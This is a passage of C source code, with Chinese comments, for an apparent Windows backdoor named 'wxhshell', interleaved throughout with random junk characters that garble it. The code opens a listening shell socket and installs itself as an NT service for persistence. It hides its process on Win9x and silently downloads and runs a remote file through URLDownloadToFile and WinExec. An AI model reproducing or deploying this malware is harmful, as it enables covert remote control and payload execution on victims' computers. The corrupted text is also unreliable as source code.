Cf2 #X?[")R if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )&d=2M;3 5~@-LXqL CloseHandle(hProcess); hRu}P" 6AG]7d< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "8ellKh if(hProcess==NULL) return 0; i\ X3t5 dX@ic,? HMODULE hMod; i#t-p\Tcz char procName[255]; -ZZJk-:: unsigned long cbNeeded; 4^l 9d M-Efe_VRQc if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :VZS7$5 UNa"\ CloseHandle(hProcess); m{ !$_z8: vf{$2rC if(strstr(procName,"services")) return 1; // 以服务启动 o&Xp%}TI ;Jg$C~3tf return 0; // 注册表启动 &zX W } 9]oT/ooM e,_Sj(R8 // 主模块 L,y
q=%h| int StartWxhshell(LPSTR lpCmdLine) ocZ}RI#Q { B=& [Z2 SOCKET wsl; &AJkYh BOOL val=TRUE; m[v0mXE int port=0; vHcl7=)Q struct sockaddr_in door; RdWn =; <m`CLVx8m if(wscfg.ws_autoins) Install(); Jj>Rzj!m N wk port=atoi(lpCmdLine); -@"3`uv" c-XO}\? if(port<=0) port=wscfg.ws_port; K}re{y Q:megU'u WSADATA data; jsE8=zZs if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yV:8>9wE8 92<+ug = if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; )2?]c setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rCDt9o> door.sin_family = AF_INET; J4::.r door.sin_addr.s_addr = inet_addr("127.0.0.1"); ="& GU%$ door.sin_port = htons(port); w)+1^eW +?U[362> if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <$z[pw< closesocket(wsl); >ceC8"}J5M return 1; FXJ0
G>F } `J,>#Y6(J p7Wt(A if(listen(wsl,2) == INVALID_SOCKET) { Rh^@1{yr closesocket(wsl); 5S!#^>_ return 1; 6)uBUM;i } vkTu:3Qe Wxhshell(wsl); ,W)DQwAg WSACleanup(); oLKliA=q ~Yk^(hl2 return 0; ,FzkGB# Dnw^H. } )
~=pt&+ lz#.f,h // 以NT服务方式启动 uK" T~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'fU #v`i { J\*uW|=F DWORD status = 0; HAK,z0/ DWORD specificError = 0xfffffff; &SbdX 7wx=# serviceStatus.dwServiceType = SERVICE_WIN32; 1*hE bO serviceStatus.dwCurrentState = SERVICE_START_PENDING; d9v66mpJM serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Hvk~BP'
m
serviceStatus.dwWin32ExitCode = 0; !VWA4 e!+ serviceStatus.dwServiceSpecificExitCode = 0; Pq [_(Nt serviceStatus.dwCheckPoint = 0; z)C/U serviceStatus.dwWaitHint = 0; )mm0PJF~q -fA =&$V hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i;^lh]u if (hServiceStatusHandle==0) return; (2H
GV+Dg D8L5t<^1R status = GetLastError(); '9f0UtT|[ if (status!=NO_ERROR) MN2i0!+ { g]vB\5uA: serviceStatus.dwCurrentState = SERVICE_STOPPED; ,:(s=JN+ serviceStatus.dwCheckPoint = 0; ;99oJD, serviceStatus.dwWaitHint = 0; gW~T{+f serviceStatus.dwWin32ExitCode = status; vEg%ivj3 serviceStatus.dwServiceSpecificExitCode = specificError; g8MW6Y SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]?VVwft return; hxL?6mhY } b:F;6X0~Hl iuY,E serviceStatus.dwCurrentState = SERVICE_RUNNING; ?m *e$!M0 serviceStatus.dwCheckPoint = 0; &B(z**+9 serviceStatus.dwWaitHint = 0; ,1mL=|na
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C7{VByxJ } 17KQ ;9z|rWsF // 处理NT服务事件,比如:启动、停止 Qa=Y?=Za VOID WINAPI NTServiceHandler(DWORD fdwControl) V>QyiB { 8<Iq)A]'Z switch(fdwControl) ; H ;h[ { w~6UOA8} case SERVICE_CONTROL_STOP: *zPqXtw!j serviceStatus.dwWin32ExitCode = 0; n%F _3` serviceStatus.dwCurrentState = SERVICE_STOPPED; B.G6vx4yp serviceStatus.dwCheckPoint = 0; BQPmo1B serviceStatus.dwWaitHint = 0; aNu.4c/5 { pCIS82L SetServiceStatus(hServiceStatusHandle, &serviceStatus); {4 Yxh8 } ?.`
ga* return; c_vGr55 case SERVICE_CONTROL_PAUSE: rlKR
<4H serviceStatus.dwCurrentState = SERVICE_PAUSED; 95'+8*YCY break; x[{\Aw>$. case SERVICE_CONTROL_CONTINUE: .S|7$_9;b serviceStatus.dwCurrentState = SERVICE_RUNNING; 0C :8X
break; s*Qyd{"z case SERVICE_CONTROL_INTERROGATE: k)I4m.0a5 break; ~4~r }; 4O-LLH SetServiceStatus(hServiceStatusHandle, &serviceStatus); "G@K(bnHn } (y]Z *p:EW 9 o,`peH // 标准应用程序主函数 0L/chP int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +w]#26`d { UPGUJ>2Z " YI, // 获取操作系统版本 eX#.Zt] OsIsNt=GetOsVer(); 0V3dc+t)O GetModuleFileName(NULL,ExeFile,MAX_PATH); %mmV#vwp Fqw4XR_`~ // 从命令行安装 i5TGK#3o if(strpbrk(lpCmdLine,"iI")) Install(); ;:bp?( w|&lRo@1 // 下载执行文件 MuD
? KK if(wscfg.ws_downexe) { 14'\@xJMM if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4q] 6[/ WinExec(wscfg.ws_filenam,SW_HIDE); Cl&mz1Y;]1 } ,1~zYL?
2|bt"y-5r if(!OsIsNt) { tsg`c;{ // 如果时win9x,隐藏进程并且设置为注册表启动 hdw.S`~}% HideProc(); b_ TI_ StartWxhshell(lpCmdLine); q~> +x?30 } Ni>Ns=n else }
TUr96 if(StartFromService()) :^kAFLU // 以服务方式启动 3zh:~w_ StartServiceCtrlDispatcher(DispatchTable); \Vx^u}3O else y\_+,G0 // 普通方式启动 H-pf8 StartWxhshell(lpCmdLine); =i vlS [mv? \HDa~ return 0; %@C8EFl%3 }
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